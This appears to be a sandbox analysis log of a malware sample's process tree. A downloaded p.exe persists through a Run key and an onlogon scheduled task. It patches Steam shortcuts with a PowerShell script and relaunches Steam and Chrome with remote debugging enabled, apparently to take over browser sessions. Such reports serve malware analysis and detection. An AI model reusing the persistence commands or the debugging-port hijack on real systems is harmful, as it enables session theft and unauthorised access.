C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.4355 --start-stack-profiler --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1785187029 --steamid=0 --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1420,i,11428903537181187412,1298139128746175534,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=5128 --mojo-platform-channel-handle=864 /prefetch:85⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=renderer --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1785187029 --steamid=0 --gaia-url=http://disabled.invalid --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4528,i,11428903537181187412,1298139128746175534,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=864 --mojo-platform-channel-handle=860 /prefetch:15⤵
- Checks computer location settings
- Executes dropped EXE
-
-
C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=renderer --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1785187029 --steamid=0 --gaia-url=http://disabled.invalid --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=5460,i,11428903537181187412,1298139128746175534,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=5560 --mojo-platform-channel-handle=5568 /prefetch:15⤵
- Checks computer location settings
- Executes dropped EXE
-
-
-
C:\Program Files (x86)\Steam\bin\gldriverquery64.exe.\bin\gldriverquery64.exe4⤵
- Executes dropped EXE
-
-
C:\Program Files (x86)\Steam\bin\gldriverquery.exe.\bin\gldriverquery.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Program Files (x86)\Steam\bin\vulkandriverquery64.exe.\bin\vulkandriverquery64.exe4⤵
- Executes dropped EXE
-
-
C:\Program Files (x86)\Steam\bin\vulkandriverquery.exe.\bin\vulkandriverquery.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Program Files (x86)\Steam\bin\hardwareupdater\hardwareupdater.exe"C:\Program Files (x86)\Steam\bin\hardwareupdater\hardwareupdater.exe" --check-for-updates4⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Steam\bin\hardwareupdater\hardwareupdater.exe"C:\Program Files (x86)\Steam\bin\hardwareupdater\hardwareupdater.exe" --check-for-updates5⤵
- Executes dropped EXE
-
-
-
-
-
C:\Program Files (x86)\Common Files\Steam\steamservice.exe"C:\Program Files (x86)\Common Files\Steam\steamservice.exe" /RunAsService1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\Common Files\Steam\steamservice.exe"C:\Program Files (x86)\Common Files\Steam\steamservice.exe" /RunAsService1⤵
- Executes dropped EXE
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Common Files\Steam\SteamServiceTmp.exe"C:\Program Files (x86)\Common Files\Steam\SteamServiceTmp.exe" /Update2⤵
- Executes dropped EXE
-
-
C:\Program Files (x86)\Common Files\Steam\steamservice.exe"C:\Program Files (x86)\Common Files\Steam\steamservice.exe" /RunAsService1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x450 0x3181⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"1⤵
- Badlisted process makes network request
- Downloads MZ/PE file
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\p.exe"C:\Users\Admin\AppData\Local\Temp\p.exe"2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\schtasks.exeschtasks /create /sc onlogon /tn ProsperAgent /tr \"C:\Users\Admin\AppData\Local\Temp\p.exe\" /rl limited /f3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$ErrorActionPreference='Stop'; $steamExe = 'C:\Program Files (x86)\Steam\Steam.exe'; $flags = @('-cef-enable-debugging'); $roots = @($env:USERPROFILE + '\Desktop', $env:APPDATA + '\Microsoft\Windows\Start Menu\Programs'); $shell = New-Object -ComObject WScript.Shell; $patched = @(); foreach ($root in $roots) { if (-not (Test-Path -LiteralPath $root)) { continue }; Get-ChildItem -LiteralPath $root -Filter '*.lnk' -Recurse -ErrorAction SilentlyContinue | ForEach-Object { try { $lnk = $shell.CreateShortcut($_.FullName); if (-not $lnk.TargetPath) { return }; if ($lnk.TargetPath -ne $steamExe) { return }; $args = ($lnk.Arguments | Out-String).Trim(); $missing = @($flags | Where-Object { $args -notmatch [regex]::Escape($_) }); if ($missing.Count -eq 0) { return }; $lnk.Arguments = (($args, ($missing -join ' ')) -join ' ').Trim(); $lnk.Save(); $patched += $_.FullName } catch {} } }; $patched -join ';'"3⤵
- Hide Artifacts: Ignore Process Interrupts
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files (x86)\Steam\Steam.exe"C:\Program Files (x86)\Steam\Steam.exe" -shutdown3⤵
- Executes dropped EXE
-
-
C:\Windows\system32\taskkill.exetaskkill /t /f /pid 28683⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --remote-debugging-address=127.0.0.1 --remote-allow-origins=* --no-first-run --no-default-browser-check --disable-infobars --restore-last-session "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data"3⤵
- Uses browser remote debugging
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x7ffca049c728,0x7ffca049c734,0x7ffca049c7404⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1632,i,15028451456209830373,13473873330161885435,524288 --field-trial-handle=2140,i,2948698474813933303,3976297807817912719,262144 --variations-seed-version=20260730-010032.011000-production --mojo-platform-channel-handle=2252 /prefetch:34⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1800,i,2574925612261982671,5183601057055138096,262144 --field-trial-handle=2140,i,2948698474813933303,3976297807817912719,262144 --variations-seed-version=20260730-010032.011000-production --mojo-platform-channel-handle=2116 /prefetch:24⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --metrics-shmem-handle=2464,i,3176185284260149254,8772690970393910750,524288 --field-trial-handle=2140,i,2948698474813933303,3976297807817912719,262144 --variations-seed-version=20260730-010032.011000-production --mojo-platform-channel-handle=2436 /prefetch:84⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3180,i,7387331173579016419,11799223879027565741,2097152 --field-trial-handle=2140,i,2948698474813933303,3976297807817912719,262144 --variations-seed-version=20260730-010032.011000-production --mojo-platform-channel-handle=3184 /prefetch:14⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3204,i,5168351967377730641,6569460238022278680,2097152 --field-trial-handle=2140,i,2948698474813933303,3976297807817912719,262144 --variations-seed-version=20260730-010032.011000-production --mojo-platform-channel-handle=3212 /prefetch:14⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4460,i,2640141670163333300,4113814147443697499,2097152 --field-trial-handle=2140,i,2948698474813933303,3976297807817912719,262144 --variations-seed-version=20260730-010032.011000-production --mojo-platform-channel-handle=4500 /prefetch:14⤵
- Uses browser remote debugging
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\p.exe"C:\Users\Admin\AppData\Local\Temp\p.exe"2⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Windows\system32\schtasks.exeschtasks /create /sc onlogon /tn ProsperAgent /tr \"C:\Users\Admin\AppData\Local\Temp\p.exe\" /rl limited /f3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$ErrorActionPreference='Stop'; $steamExe = 'C:\Program Files (x86)\Steam\Steam.exe'; $flags = @('-cef-enable-debugging'); $roots = @($env:USERPROFILE + '\Desktop', $env:APPDATA + '\Microsoft\Windows\Start Menu\Programs'); $shell = New-Object -ComObject WScript.Shell; $patched = @(); foreach ($root in $roots) { if (-not (Test-Path -LiteralPath $root)) { continue }; Get-ChildItem -LiteralPath $root -Filter '*.lnk' -Recurse -ErrorAction SilentlyContinue | ForEach-Object { try { $lnk = $shell.CreateShortcut($_.FullName); if (-not $lnk.TargetPath) { return }; if ($lnk.TargetPath -ne $steamExe) { return }; $args = ($lnk.Arguments | Out-String).Trim(); $missing = @($flags | Where-Object { $args -notmatch [regex]::Escape($_) }); if ($missing.Count -eq 0) { return }; $lnk.Arguments = (($args, ($missing -join ' ')) -join ' ').Trim(); $lnk.Save(); $patched += $_.FullName } catch {} } }; $patched -join ';'"3⤵
- Hide Artifacts: Ignore Process Interrupts
-
-
C:\Program Files (x86)\Steam\Steam.exe"C:\Program Files (x86)\Steam\Steam.exe" -shutdown3⤵
- Executes dropped EXE
-
-
C:\Program Files (x86)\Steam\Steam.exe"C:\Program Files (x86)\Steam\Steam.exe" -cef-enable-debugging3⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Checks SCSI registry key(s)
- Checks processor information in registry
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Steam\steamsysinfo.exe"C:\Program Files (x86)\Steam\steamsysinfo.exe" -steamid 0 -buildid 1785187029 -logdir "C:\Program Files (x86)\Steam\logs" -nocrashdialog -query 1 -out-file C:\Users\Admin\AppData\Local\Temp\4230.tmp4⤵
- Executes dropped EXE
-
-
C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" -nocrashdialog "-lang=en_US" "-cachedir=C:\Users\Admin\AppData\Local\Steam\htmlcache" "-steampid=8100" "-buildid=1785187029" "-steamid=0" "-logdir=C:\Program Files (x86)\Steam\logs" "-uimode=7" "-startcount=0" "-steamuniverse=Public" "-realm=Global" "-clientui=C:\Program Files (x86)\Steam\clientui" "-steampath=C:\Program Files (x86)\Steam\Steam.exe" "-launcher=0" --valve-enable-site-isolation "--remote-allow-origins=*" "--remote-debugging-address=127.0.0.1" "--remote-debugging-port=8080" --enable-smooth-scrolling "--log-file=C:\Program Files (x86)\Steam\logs\cef_log.txt" --disable-quick-menu --disable-component-update "--gaia-url=http://disabled.invalid" "--enable-features=PlatformHEVCDecoderSupport" "--disable-features=WinRetrieveSuggestionsOnlyOnDemand,SpareRendererForSitePerProcess,DcheckIsFatal,BlockPromptsIfIgnoredOften,WebUsbDeviceDetection,ValveFFmpegAllowLowDelayHEVC"4⤵
- Uses browser remote debugging
- Checks computer location settings
- Executes dropped EXE
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
-
C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=crashpad-handler /prefetch:4 --max-uploads=5 --max-db-size=20 --max-db-age=5 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files (x86)\Steam\dumps" "--metrics-dir=C:\Users\Admin\AppData\Local\CEF\User Data" --url=https://crash.steampowered.com/submit --annotation=platform=win64 --annotation=product=cefwebhelper --annotation=version=1785187029 --initial-client-data=0x280,0x284,0x288,0x27c,0x28c,0x7ffc99adaea0,0x7ffc99adaeac,0x7ffc99adaeb85⤵
- Executes dropped EXE
-
-
C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=gpu-process --start-stack-profiler --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1785187029 --steamid=0 --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1904,i,4995287246903637425,17524919682552308752,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=1916 --mojo-platform-channel-handle=1748 /prefetch:25⤵
-
-
C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --start-stack-profiler --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1785187029 --steamid=0 --field-trial-handle=2200,i,4995287246903637425,17524919682552308752,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=2264 --mojo-platform-channel-handle=2260 /prefetch:35⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1785187029 --steamid=0 --field-trial-handle=2328,i,4995287246903637425,17524919682552308752,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=2532 --mojo-platform-channel-handle=2528 /prefetch:85⤵
-
-
C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=renderer --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1785187029 --steamid=0 --gaia-url=http://disabled.invalid --remote-debugging-port=8080 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=4000,i,4995287246903637425,17524919682552308752,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=4020 --mojo-platform-channel-handle=4016 /prefetch:15⤵
- Uses browser remote debugging
- Checks computer location settings
-
-
C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=renderer --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1785187029 --steamid=0 --gaia-url=http://disabled.invalid --remote-debugging-port=8080 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=5044,i,4995287246903637425,17524919682552308752,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=5056 --mojo-platform-channel-handle=5052 /prefetch:15⤵
- Uses browser remote debugging
- Checks computer location settings
-
-
C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=renderer --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1785187029 --steamid=0 --gaia-url=http://disabled.invalid --remote-debugging-port=8080 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=5436,i,4995287246903637425,17524919682552308752,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=5328 --mojo-platform-channel-handle=5316 /prefetch:15⤵
- Uses browser remote debugging
- Checks computer location settings
-
-
C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1785187029 --steamid=0 --field-trial-handle=5848,i,4995287246903637425,17524919682552308752,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=5708 --mojo-platform-channel-handle=5844 /prefetch:85⤵
-
-
C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.4355 --start-stack-profiler --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1785187029 --steamid=0 --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=6036,i,4995287246903637425,17524919682552308752,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=6056 --mojo-platform-channel-handle=6052 /prefetch:85⤵
-
-
C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=renderer --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1785187029 --steamid=0 --gaia-url=http://disabled.invalid --remote-debugging-port=8080 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=6028,i,4995287246903637425,17524919682552308752,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=6016 --mojo-platform-channel-handle=6012 /prefetch:15⤵
- Uses browser remote debugging
- Checks computer location settings
-
-
C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=renderer --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1785187029 --steamid=0 --gaia-url=http://disabled.invalid --remote-debugging-port=8080 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=4528,i,4995287246903637425,17524919682552308752,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=4856 --mojo-platform-channel-handle=4900 /prefetch:15⤵
- Uses browser remote debugging
-
-
C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=renderer --start-stack-profiler --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1785187029 --steamid=0 --gaia-url=http://disabled.invalid --remote-debugging-port=8080 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=5928,i,4995287246903637425,17524919682552308752,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=3548 --mojo-platform-channel-handle=5768 /prefetch:15⤵
- Uses browser remote debugging
- Checks computer location settings
-
-
C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1785187029 --steamid=0 --field-trial-handle=4524,i,4995287246903637425,17524919682552308752,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=6100 --mojo-platform-channel-handle=6124 /prefetch:85⤵
-
-
C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=renderer --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1785187029 --steamid=0 --gaia-url=http://disabled.invalid --remote-debugging-port=8080 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --field-trial-handle=4852,i,4995287246903637425,17524919682552308752,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=6304 --mojo-platform-channel-handle=5088 /prefetch:15⤵
- Uses browser remote debugging
- Checks computer location settings
-
-
-
C:\Program Files (x86)\Steam\bin\gldriverquery64.exe.\bin\gldriverquery64.exe4⤵
-
-
C:\Program Files (x86)\Steam\bin\gldriverquery.exe.\bin\gldriverquery.exe4⤵
-
-
C:\Program Files (x86)\Steam\bin\vulkandriverquery64.exe.\bin\vulkandriverquery64.exe4⤵
-
-
